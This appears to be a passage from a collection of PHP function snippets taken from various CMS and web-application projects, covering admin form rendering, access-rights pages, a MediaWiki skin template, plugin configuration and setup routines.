valign=\"top\">'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'<th class=\"scope-one\" scope=\"row\"><label'.Field::get_label_error($field['label']).' for=\"'.Field::get_label_name($field['label']).'\">'.$field['name'].' <cite></cite></label></th>'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'<td class=\"scope-two\">'.Field::get_field($this->slug, $field, $value).'<div class=\"field-info\">'.$description.'</div></td>'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'<td class=\"scope-three\">'.$toggle.'</td>'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'<td>&nbsp;</td>'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'</tr>'.\"\\n\";\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\n\t\t\t\t\t\tarray_push($hidden, $field);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t\t\t$output .= \"\\t\".'</tbody>'.\"\\n\";\n\t\t\t\t$output .= \"\\t\".'</table>'.\"\\n\\n\";\n\t\t\t\t$output .= \"\\t\".'<hr />'.\"\\n\\n\";\n\t\t\t}\n\n\t\t\t$output .= isset($_REQUEST['page']) ? \"\\t\".wp_nonce_field($_REQUEST['page']).\"\\n\" : '';\n\n\t\t\tforeach ($hidden as $id => $field) {\n\n\t\t\t\t$temp += array($field['label'] => isset($field['value']) ? $field['value'] : '');\n\t\t\t\t$value = isset($_POST['updating']) ? Save::save_page($this->slug, $field) : Save::set_default_value($this->slug, $temp, $field);\n\t\t\t\t\n\t\t\t\t$output .= Field::get_field($this->slug, $field, $value);\n\t\t\t}\n\t\t\t\n\t\t\t$output .= \"\\t\".'<input type=\"hidden\" id=\"updating\" name=\"updating\" value=\"1\" />'.\"\\n\";\n\t\t\t$output .= \"\\t\".'<p class=\"submit\"><input type=\"submit\" name=\"submit\" id=\"submit\" class=\"button button-primary\" value=\"'.__('Save Changes', 'admin translation').'\" /></p>'.\"\\n\";\n\t\t\t$output .= \"\\t\".'</form>'.\"\\n\";\n\n\t\t\t$output .= \"\\t\".'</div>'.\"\\n\";\n\t\t\t$output .= '<!-- wrap ends -->'.\"\\n\\n\";\n\n\t\t\t$output .= Field::get_form_feedback();\n\t\t\t\n\t\t\tValidation::reset_error();\n\n\t\t\techo $output;\n\t\t}", "function pa_ar() \n\t\t\t{\n\t\t\t\t\n\t\t\t\t// get the page dropdown\n\t\t\t\t// get the module dropdown\n\t\t\t\t// get the group dropdown\n\t\t\t\t// get the user add interface\n\t\t\t\t\n\t\t\t\t$pages = $this->CLIENT->get_my_pages();\n\t\t\t\t$pid[0] = \"---\";\n\t\t\t\tforeach($pages as $p)\n\t\t\t\t{\n\t\t\t\t\t$pid[$p['id']] = str_repeat(\"&nbsp;&nbsp;&nbsp;\",($p['level']-1)).$p['name'];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$mods = $this->MC->get_mods();\n\t\t\t\t$mid[0] = \"---\";\n\t\t\t\tforeach($mods as $m)\n\t\t\t\t{\n\t\t\t\t\tif(is_file(CONF::inc_dir().'/mods/'.$m['modul_name'].'/etc/access.php'))\n\t\t\t\t\t{\n\t\t\t\t\t\t$mid[$m['id']] = $m['label'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t$grps = $this->MC->call(\"usradmin\",\"get_groups\");\n\t\t\t\t$gid[0] = \"---\";\n\t\t\t\twhile($grps->next())\n\t\t\t\t{\n\t\t\t\t\tif($grps->f('trashcan'))\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t$gid[$grps->f('id')] = $grps->f('name');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$js = '\n\t\t\t\tfunction empty(id)\n\t\t\t\t{\n\t\t\t\t\tvar elem = document.getElementById(id);\n\t\t\t\t\tif(id == \"gid\")\n\t\t\t\t\t{\n\t\t\t\t\t\telem.value = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\telem.value = \"\";\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t';\n\t\t\t\t\n\t\t\t\t$content .= UTIL::get_js($js);\n\t\t\t\t\n\t\t\t\t$conf = array\n\t\t\t\t(\n\t\t\t\t\t'fields' => array\n\t\t\t\t\t(\n\t\t\t\t\t\t'pid' => array\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\t'label' => ' <b>Seite</b> ',\n\t\t\t\t\t\t\t'cnf' => array\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t'type' => 'select',\n\t\t\t\t\t\t\t\t'items' => $pid\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'mid' => array\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\t'label' => ' <b>Modul</b> ',\n\t\t\t\t\t\t\t'cnf' => array\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t'type' => 'select',\n\t\t\t\t\t\t\t\t'items' => $mid\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'gid' => array\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\t'label' => ' <b>Gruppe</b> ',\n\t\t\t\t\t\t\t'cnf' => array\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t'type' => 'select',\n\t\t\t\t\t\t\t\t'items' => $gid,\n\t\t\t\t\t\t\t\t'js' => 'onFocus=\"empty(\\'data[usr]\\');\"'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t),\n\t\t\t\t\t\t\n\t\t\t\t\t\t'usr' => array\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\t'label' => ' <b>oder User</b> ',\n\t\t\t\t\t\t\t'cnf' => array\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t'type' => 'input',\n\t\t\t\t\t\t\t\t'js' => 'onFocus=\"empty(\\'gid\\');\"'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\t\n\n\t\t\t\tif($this->data['pid'])\n\t\t\t\t{\n\t\t\t\t\t$action['pid'] = $this->data['pid'];\n\t\t\t\t\t$action['type'] += 2;\n\t\t\t\t}\n\t\t\t\tif($this->data['mid'])\n\t\t\t\t{\n\t\t\t\t\t$action['mid'] = $this->data['mid'];\n\t\t\t\t\t$action['type'] += 4;\n\t\t\t\t}\n\t\t\t\tif($this->data['gid'])\n\t\t\t\t{\n\t\t\t\t\t$action['gid'] = $this->data['gid'];\n\t\t\t\t\t$action['type'] += 8;\n\t\t\t\t}\n\t\t\t\telseif($this->data['usr'])\n\t\t\t\t{\n\t\t\t\t\t// get the usr id\n\t\t\t\t\t$select = \"SELECT * FROM mod_usradmin_usr WHERE usr = '\".mysql_real_escape_string($this->data['usr']).\"'\";\n\t\t\t\t\t$r = $this->DB->query($select);\n\t\t\t\t\tif($r->nr() == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$action['uid'] = $r->f('id');\n\t\t\t\t\t\t$action['type'] += 16;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->data['usr']\t= e::o(\"this_usr_doesnt_exist\");\n\t\t\t\t\t}\n\t\t\t\t}\n/*\n\t\t\t\tMC::debug($action);\n\t\t\t\tMC::debug($this->data);\n\t\t\t\tMC::debug($_GET);\n\t\t\t\tMC::debug($_POST);\n*/\n\t\t\t\t$f = MC::create(\"form\");\n\t\t\t\t$f->init($this->mod_name,$conf);\n\n\t\t\t\t$f->set_values($this->data);\n\t\t\t\t$f->add_hidden(\"mod\",$this->mod_name);\n\n\t\t\t\t$f->button(\"pa_ar\",e::o(\"Show\"));\n\t\t\t\t$content .= $f->show();\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tswitch($action['type'])\n\t\t\t\t{\n\t\t\t\t\tcase 6: // pid mid\n\t\t\t\t\t\t$content .= $this->interface_form_get($this->interface_ar_data_get($action['pid'],$action['mid']),$action['pid'],$action['mid']);\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 10: // pid gid\n\t\t\t\t\t\tforeach($mods as $m)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($tmp = $this->interface_form_get($this->interface_ar_grp_data_get($action['gid'],$action['pid'],$m['id']),$action['pid'],$m['id'],array(\"mid\"=>true)))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$content .= '<div style=\"margin-top:15px;font-weight:bold;border:thin solid black;padding:4px;\">'.$m['label'].'<br>'.$tmp.'</div>';\n\t\t\t\t\t\t\t}\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 12: // mid gid\n\t\t\t\t\t\tforeach($pages as $page)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($tmp = $this->interface_form_get($this->interface_ar_grp_data_get($action['gid'],$page['id'],$action['mid']),$page['id'],$action['mid'],array(\"pid\"=>true)))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$content .= '<div style=\"margin-top:15px;font-weight:bold;border:thin solid black;padding:4px;\">'.$page['name'].'<br>'.$tmp.'</div>';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\t\t\t\t\t\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 14: // pid mid gid\n\t\t\t\t\t\t$content .= $this->interface_form_get($this->interface_ar_grp_data_get($action['gid'],$action['pid'],$action['mid']),$action['pid'],$action['mid']);\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 18: // pid usr\n\t\t\t\t\t\tforeach($mods as $m)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($tmp = $this->interface_form_get($this->interface_ar_usr_data_get($action['uid'],$action['pid'],$m['id']),$action['pid'],$m['id'],array(\"mid\"=>true)))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$content .= '<div style=\"margin-top:15px;font-weight:bold;border:thin solid black;padding:4px;\">'.$m['label'].'<br>'.$tmp.'</div>';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 20: // mid usr\n\t\t\t\t\t\tforeach($pages as $page)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($tmp = $this->interface_form_get($this->interface_ar_usr_data_get($action['uid'],$page['id'],$action['mid']),$page['id'],$action['mid'],array(\"pid\"=>true)))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$content .= '<div style=\"margin-top:15px;font-weight:bold;border:thin solid black;padding:4px;\">'.$page['name'].'<br>'.$tmp.'</div>';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\t\n\t\t\t\t\tcase 22: // pid mid usr\n\t\t\t\t\t\t$content .= $this->interface_form_get($this->interface_ar_usr_data_get($action['uid'],$action['pid'],$action['mid']),$action['pid'],$action['mid']);\n\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$content .= '<b>'.e::o('min_two_elements').'</b>';\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t$this->set_var(\"content\",&$content);\n\t\t\t\t$this->set_var(\"headline\",e::o(\"pa_ar_headline\"));\n\t\t\t\t$this->show('pa_ar_new');\n\t\t\t\t\n\t\t\t\treturn;\n\t\t\t}", "private function generateFrontend()\n {\n #-- add needed css an js files\n $GLOBALS['TL_CSS'][] = 'bundles/homekitee/uikit-3.6.21/css/uikit.min.css';\n $GLOBALS['TL_JAVASCRIPT'][] = 'bundles/homekitee/uikit-3.6.21/js/uikit.min.js';\n $GLOBALS['TL_JAVASCRIPT'][] = 'bundles/homekitee/uikit-3.6.21/js/uikit-icons.min.js';\n }", "public function execute() {\n\t\twfSuppressWarnings();\n\t\t\n\t\t$this->html('headelement'); ?>\n\t\t\n\t\t<header class=\"header\">\n\t\t\t<div class=\"container\">\n\t\t\t\t<nav class=\"navbar navbar-default hidden-print\" role=\"navigation\">\n\t\t\t\t\t<div class=\"navbar-header\"><?php\n\t\t\t\t\t\t// Create index link for wiki header\n\t\t\t\t\t\techo '\n\t\t\t\t\t\t<a href=\"'. $this->data['nav_urls']['mainpage']['href'] .'\" class=\"navbar-brand\">\n\t\t\t\t\t\t\t'. $this->data['sitename'] .'\n\t\t\t\t\t\t</a>'; ?>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"navbar-form navbar-right form-inline\"><?php\n\t\t\t\t\t\t// Create a search form for wiki header\n\t\t\t\t\t\t$this->searchBox(); ?>\n\t\t\t\t\t</div>\n\t\t\t\t</nav>\n\t\t\t</div>\n\t\t</header>\n\t\t<main class=\"wiki\">\n\t\t\t<nav class=\"navbar-wiki\">\n\t\t\t\t<div class=\"container\"><?php\n\t\t\t\t\t// Print content actions nav items\n\t\t\t\t\t$this->contentActions(); ?>\n\t\t\t\t</div>\n\t\t\t</nav>\n\t\t\t<div class=\"container\">\n\t\t\t\t<div class=\"row\">\n\t\t\t\t\t<section class=\"col-md-10 col-sm-12 page\">\n\t\t\t\t\t\t<?php if($this->data['sitenotice']) { ?><div id=\"alert alert-info\"><?php $this->html('sitenotice'); ?></div><?php }; ?>\n\t\t\t\t\t\t<div class=\"page-header\">\n\t\t\t\t\t\t\t<h1><?php $this->html('title'); ?> <small class=\"visible-print\"><?php $this->msg('tagline'); ?></small></h1>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"page\">\n\t\t\t\t\t\t\t<div class=\"subtitle\"><?php $this->html('subtitle'); ?></div>\n\t\t\t\t\t\t\t<?php if($this->data['undelete']) { ?><div class=\"undelete\"><?php $this->html('undelete'); ?></div><?php } ?>\n\t\t\t\t\t\t\t<?php if($this->data['newtalk'] ) { ?><div class=\"newtalk\"><?php $this->html('newtalk'); ?></div><?php } ?>\n\t\t\t\t\t\t\t<?php if($this->data['showjumplinks']) {\n\t\t\t\t\t\t\t\t// Todo: showing these for mobiles to easily navigate ?>\n\t\t\t\t\t\t\t\t<div class=\"jumplinks\">\n\t\t\t\t\t\t\t\t\t<?php $this->msg('jumpto'); ?><a href=\"#column-one\"><?php $this->msg('jumptonavigation'); ?></a>\n\t\t\t\t\t\t\t\t\t<?php $this->msg('comma-separator'); ?><a href=\"#searchInput\"><?php $this->msg('jumptosearch'); ?></a>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<?php };\n\t\t\t\t\t\t\t// Now print the acutal page content\n\t\t\t\t\t\t\t$this->html('bodytext');\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Print the catagory links for this content\n\t\t\t\t\t\t\tif($this->data['catlinks']) { $this->html('catlinks'); }\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Print any remaining data after the content\n\t\t\t\t\t\t\tif($this->data['dataAfterContent']) { $this->html ('dataAfterContent'); }?>\n\t\t\t\t\t\t\t<div class=\"clearfix\"></div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</section>\n\t\t\t\t\t<aside class=\"col-md-2 hidden-sm hidden-xs sidebar hidden-print\"><?php\n\t\t\t\t\t\t// Print the personal tools\n\t\t\t\t\t\t$this->personalTools();\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Print all the other navigation blocks\n\t\t\t\t\t\t$this->renderPortals($this->data['sidebar']); ?>\n\t\t\t\t\t</aside>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<footer class=\"footer\">\n\t\t\t\t<div class=\"container\"><?php\n\t\t\t\t\t$validFooterIcons = $this->getFooterIcons('icononly');\n\t\t\t\t\t$validFooterLinks = $this->getFooterLinks('flat'); // Additional footer links\n\t\t\t\t\n\t\t\t\t\tif ( count( $validFooterLinks ) > 0 ) { ?>\n\t\t\t\t\t\t<div class=\"row\">\n\t\t\t\t\t\t\t<div class=\"col-md-12\">\n\t\t\t\t\t\t\t\t<ul class=\"list\"><?php\n\t\t\t\t\t\t\t\t\tforeach( $validFooterLinks as $aLink ) { ?>\n\t\t\t\t\t\t\t\t\t\t<li class=\"footer-<?php echo $aLink ?>\"><?php $this->html($aLink) ?></li>\n\t\t\t\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t\t\t\t\t<li><a href=\"https://github.com/South-Paw/Bootstrap-MW\">Bootstrap MW Skin</a> v1.0</li>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t<?php }; ?>\n\t\t\t\t\t<div class=\"row\"><?php\n\t\t\t\t\t\tforeach ( $validFooterIcons as $blockName => $footerIcons ) { ?>\n\t\t\t\t\t\t\t\t<div class=\"col-md-6 icons footer-<?php echo htmlspecialchars($blockName); ?>\"><?php\n\t\t\t\t\t\t\t\t\tforeach ( $footerIcons as $icon ) {\n\t\t\t\t\t\t\t\t\t\techo $this->getSkin()->makeFooterIcon( $icon );\n\t\t\t\t\t\t\t\t\t}; ?>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<?php }; ?>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</footer>\n\t\t</main>\n\t\t\n\t\t<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js\"></script>\n\t\t<script src=\"skins/Bootstrap-MW/js/bootstrap.min.js\"></script>\n\t\t<?php $this->printTrail(); ?>\n\t</body>\n</html><?php\n\t\twfRestoreWarnings();\n\t}", "function MyShop_Config($args) {\n global $_CONF, $_TABLES, $_MYSHOP_CONF;\n\n $sql = \"SELECT username,password,signature,sandbox from {$_TABLES['myshop_config']}\";\n $result = DB_query($sql);\n $num = DB_numrows($result);\n\n if($num > 0)\n {\n $A = DB_fetchArray($result);\n $username = $A['username'];\n $password = $A['password'];\n $signature = $A['signature'];\n if ($A['sandbox'] == \"on\")\n {\n $sandbox = \" checked\";\n }\n }\n\n $T = new Template($_CONF['path'] . 'plugins/myshop/templates');\n\n $T->set_file(array (\n 'topmenu' => 'topmenu.thtml',\n 'config' => 'config.thtml',\n ));\n\n $T->set_var(array(\n 'lang_piname' => $_MYSHOP_CONF['pi_display_name'],\n 'icon_url' => $_CONF['site_url'] . '/myshop/images/myshop.png',\n 'title' => MyShop_str('pi_name'),\n 'caption' => MyShop_str('top_menu_caption'),\n 'menu1' => MyShop_str('top_menu1'),\n 'menu2' => MyShop_str('top_menu2'),\n 'menu3' => MyShop_str('top_menu3'),\n 'menu4' => MyShop_str('top_menu4'),\n 'username' => $username,\n 'password' => $password,\n 'signature' => $signature,\n 'sandbox' => $sandbox,\n ));\n\n $T->parse('output', 'topmenu');\n $content .= $T->finish($T->get_var('output'));\n\n $T->parse('output', 'config');\n $content .= $T->finish($T->get_var('output'));\n \n $display = COM_createHTMLDocument($content);\n COM_output($display);\n}", "function displayPreliminaries()\n\t{\n\t\t$OK = \"<font color=\\\"green\\\"><strong>OK</strong></font>\";\n\t\t$FAILED = \"<strong><font color=\\\"red\\\">FAILED</font></strong>\";\n\n\t\t$this->tpl->addBlockFile(\"CONTENT\",\"content\",\"tpl.preliminaries.html\", \"setup\");\n\n\t\t$this->tpl->setVariable(\"TXT_SETUP_TITLE\",$this->lng->txt(\"ilias_setup\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_WELCOME\", $this->lng->txt(\"setup_welcome\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_INIFILE_DESC\", $this->lng->txt(\"setup_inifile_desc\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_DATABASE_DESC\", $this->lng->txt(\"setup_database_desc\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_LANGUAGES_DESC\", $this->lng->txt(\"setup_languages_desc\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_PASSWORD_DESC\", $this->lng->txt(\"setup_password_desc\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_NIC_DESC\", $this->lng->txt(\"setup_nic_desc\"));\n\n\t\t$server_os = php_uname();\n\t\t$server_web = $_SERVER[\"SERVER_SOFTWARE\"];\n\t\t$environment = $this->lng->txt(\"env_using\").\" \".$server_os.\" <br/>\".$this->lng->txt(\"with\").\" \".$server_web;\n\n\t\tif ((stristr($server_os,\"linux\") || stristr($server_os,\"windows\")) && stristr($server_web,\"apache\"))\n\t\t{\n\t\t\t$env_comment = $this->lng->txt(\"env_ok\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$env_comment = \"<font color=\\\"red\\\">\".$this->lng->txt(\"env_warning\").\"</font>\";\n\t\t}\n\n\t\t$this->tpl->setVariable(\"TXT_ENV_TITLE\", $this->lng->txt(\"environment\"));\n\t\t$this->tpl->setVariable(\"TXT_ENV_INTRO\", $environment);\n\t\t$this->tpl->setVariable(\"TXT_ENV_COMMENT\", $env_comment);\n\n\t\t$this->tpl->setVariable(\"TXT_PRE_TITLE\", $this->lng->txt(\"preliminaries\"));\n\t\t$this->tpl->setVariable(\"TXT_PRE_INTRO\", $this->lng->txt(\"pre_intro\"));\n\n\t\t$preliminaries = array(\"php\", \"root\", \"folder_create\",\n\t\t\t\"cookies_enabled\", \"dom\", \"xsl\", \"gd\", \"memory\");\n\t\tif ($this->setup->hasOpCacheEnabled()) {\n\t\t\t$preliminaries[] = 'load_comments';\n\t\t}\n\n\t\tforeach ($preliminaries as $preliminary)\n\t\t{\n\t\t\t$this->tpl->setCurrentBlock(\"preliminary\");\n\t\t\t$this->tpl->setVariable(\"TXT_PRE\", $this->lng->txt(\"pre_\".$preliminary));\n\t\t\tif ($this->setup->preliminaries_result[$preliminary][\"status\"] == true)\n\t\t\t{\n\t\t\t\t$this->tpl->setVariable(\"STATUS_PRE\", $OK);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->tpl->setVariable(\"STATUS_PRE\", $FAILED);\n\t\t\t}\n\t\t\t$this->tpl->setVariable(\"COMMENT_PRE\", $this->setup->preliminaries_result[$preliminary][\"comment\"]);\n\t\t\t$this->tpl->parseCurrentBlock();\n\t\t}\n\n\t\t// summary\n\t\tif ($this->setup->preliminaries === true)\n\t\t{\n\t\t\tif ($this->setup->isInstalled())\n\t\t\t{\n\t\t\t\t$cmd = \"mastersettings\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$cmd = \"install\";\n\t\t\t}\n\t\t\t$btn_text = ($this->cmd == \"preliminaries\") ? \"\" : \"installation\";\n//echo \"-\".$this->display_mode.\"-\";\n\t\t\t$this->setButtonNext($cmd,$btn_text);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->tpl->setCurrentBlock(\"premessage\");\n\t\t\t$this->tpl->setVariable(\"TXT_PRE_ERR\", sprintf($this->lng->txt(\"pre_error\"),\n\t\t\t\t\"http://www.ilias.de/docu/goto.php?target=pg_6531_367&client_id=docu\"));\n\t\t\t$this->tpl->parseCurrentBlock();\n\t\t}\n\t}", "public function Install() {\n $modules = new CMModules();\n $results = $modules->Install();\n $allModules = $modules->ReadAndAnalyse();\n $this->views->SetTitle('Install Modules')\n ->AddInclude(__DIR__ . '/install.tpl.php', array('modules'=>$results), 'primary')\n ->AddInclude(__DIR__ . '/sidebar.tpl.php', array('modules'=>$allModules), 'sidebar');\n }", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t// Access check!\n\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\n\t\n\t\t\t// Draw the header.\n\t\t$this->doc = t3lib_div::makeInstance('mediumDoc');\n\t\t$this->doc->backPath = $BACK_PATH;\n\t\t$this->doc->form='<form action=\"\" method=\"POST\">';\n\n\t\t\t// JavaScript\n\t\t$this->doc->JScode = '\n\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\tscript_ended = 0;\n\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\tdocument.location = URL;\n\t\t\t\t}\n\t\t\t</script>\n\t\t';\n\t\t$this->doc->postCode='\n\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\tscript_ended = 1;\n\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t</script>\n\t\t';\n\n\t\t$headerSection = $this->doc->getHeader('pages',$this->pageinfo,$this->pageinfo['_thePath']).'<br />'.$LANG->sL('LLL:EXT:lang/locallang_core.xml:labels.path').': '.t3lib_div::fixed_lgd_pre($this->pageinfo['_thePath'],50);\n\n\t\t$this->content.=$this->doc->startPage($LANG->getLL('title'));\n\t\t$this->content.=$this->doc->header($LANG->getLL('title'));\n\t\t$this->content.=$this->doc->divider(5);\n\n\t\t// Render content:\n\t\t$this->moduleContent();\n\n\t\t// ShortCut\n\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t$this->content.=$this->doc->spacer(20).$this->doc->section('',$this->doc->makeShortcutIcon('id',implode(',',array_keys($this->MOD_MENU)),$this->MCONF['name']));\n\t\t}\n\n\t\t$this->content.=$this->doc->spacer(10);\n\n\t}", "public function code_pack_install()\n\t{\n\t\t$prefix = trim((string) ee()->input->get_post('prefix'));\n\n\t\tif ($prefix === '')\n\t\t{\n\t\t\tee()->functions->redirect($this->base . '&method=code_pack');\n\t\t}\n\n\t\t// -------------------------------------\n\t\t//\tload lib\n\t\t// -------------------------------------\n\n\t\t$lib_name = str_replace('_', '', $this->lower_name) . 'codepack';\n\t\t$load_name = str_replace(' ', '', ucwords(str_replace('_', ' ', $this->lower_name))) . 'CodePack';\n\n\t\tee()->load->library($load_name, $lib_name);\n\t\tee()->$lib_name->autoSetLang = true;\n\n\t\t// -------------------------------------\n\t\t//\t¡Las Variables en vivo! ¡Que divertido!\n\t\t// -------------------------------------\n\n\t\t$variables = array();\n\n\t\t$variables['code_pack_name']\t= $this->lower_name . '_code_pack';\n\t\t$variables['code_pack_path']\t= $this->addon_path . 'code_pack/';\n\t\t$variables['prefix']\t\t\t= $prefix;\n\n\t\t// -------------------------------------\n\t\t//\tinstall\n\t\t// -------------------------------------\n\n\t\t$details = ee()->$lib_name->getCodePackDetails($this->addon_path . 'code_pack/');\n\n\t\t$this->cached_vars['code_pack_name'] = $details['code_pack_name'];\n\t\t$this->cached_vars['code_pack_label'] = $details['code_pack_label'];\n\n\t\t$return = ee()->$lib_name->installCodePack($variables);\n\n\t\t$this->cached_vars = array_merge($this->cached_vars, $return);\n\n\t\t//--------------------------------------\n\t\t// menus and page content\n\t\t//--------------------------------------\n\n\t\t$this->cached_vars['module_menu_highlight'] = 'module_demo_templates';\n\n\t\t$this->add_crumb(lang('demo_templates'), $this->base . '&method=code_pack');\n\t\t$this->add_crumb(lang('install_demo_templates'));\n\n\t\t//$this->cached_vars['current_page'] = $this->view('code_pack_install.html', NULL, TRUE);\n\n\t\t//---------------------------------------------\n\t\t// Load Homepage\n\t\t//---------------------------------------------\n\n\t\treturn $this->ee_cp_view('code_pack_install.html');\n\t}", "public function renderSetupPage()\r\n\t{\r\n\t\tglobal $lang;\r\n\t\t// Instructions\r\n\t\t$html =\tRCView::p(array('style'=>'max-width:800px;'), \r\n\t\t\t\t\t\"{$lang['ws_53']} {$lang['ws_13']} {$lang['ws_54']} \" .\r\n\t\t\t\t\tRCView::a(array('href'=>'javascript:;', 'onclick'=>'ddpExplainDialog();', 'style'=>'text-decoration:underline;'), $lang['global_58'])\r\n\t\t\t\t);\r\n\t\t// If a POST request, process the submission and save it\r\n\t\tif ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['map_fields'])) {\r\n\t\t\t$html .= $this->saveFieldMappings();\r\n\t\t}\r\n\t\t// Display tree of external fields for user to choose prior to mapping\r\n\t\tif ((!$this->isMappingSetUp() && !isset($_POST['select_fields'])) || isset($_GET['add_fields'])) {\r\n\t\t\t$html .= $this->renderExternalSourceFieldTree();\r\n\t\t}\r\n\t\t// Display table of mappable fields from external source\r\n\t\tif (!isset($_GET['add_fields'])) {\r\n\t\t\t$html .= $this->renderExternalSourceFieldTable();\r\n\t\t}\r\n\t\t// Return html\r\n\t\treturn RCView::div(array('style'=>'max-width:1000px;margin:20px 0;'), $html);\r\n\t}", "public function init_html()\n\t{\n\t\t$this->html = ipsRegistry::getClass('output')->loadTemplate( 'cp_skin_bit_nexus', 'bitracker' );\n\t\tipsRegistry::getClass('class_localization')->loadLanguageFile( array( 'admin_bitracker' ), 'bitracker' );\n\t}", "public function code_pack_install()\n\t{\n\t\t$prefix = trim((string) ee()->input->get_post('prefix'));\n\n\t\tif ($prefix === '')\n\t\t{\n\t\t\tee()->functions->redirect($this->base . '&method=code_pack');\n\t\t}\n\n\t\t// -------------------------------------\n\t\t//\tload lib\n\t\t// -------------------------------------\n\n\t\t$lib_name = str_replace('_', '', $this->lower_name) . 'codepack';\n\t\t$load_name = str_replace(' ', '', ucwords(str_replace('_', ' ', $this->lower_name))) . 'CodePack';\n\n\t\tee()->load->library($load_name, $lib_name);\n\t\tee()->$lib_name->autoSetLang = true;\n\n\t\t// -------------------------------------\n\t\t//\t¡Las Variables en vivo! ¡Que divertido!\n\t\t// -------------------------------------\n\n\t\t$variables = array();\n\n\t\t$variables['code_pack_name']\t= $this->lower_name . '_code_pack';\n\t\t$variables['code_pack_path']\t= $this->addon_path . 'code_pack/';\n\t\t$variables['prefix']\t\t\t= $prefix;\n\n\t\t// -------------------------------------\n\t\t//\tinstall\n\t\t// -------------------------------------\n\n\t\t$details = 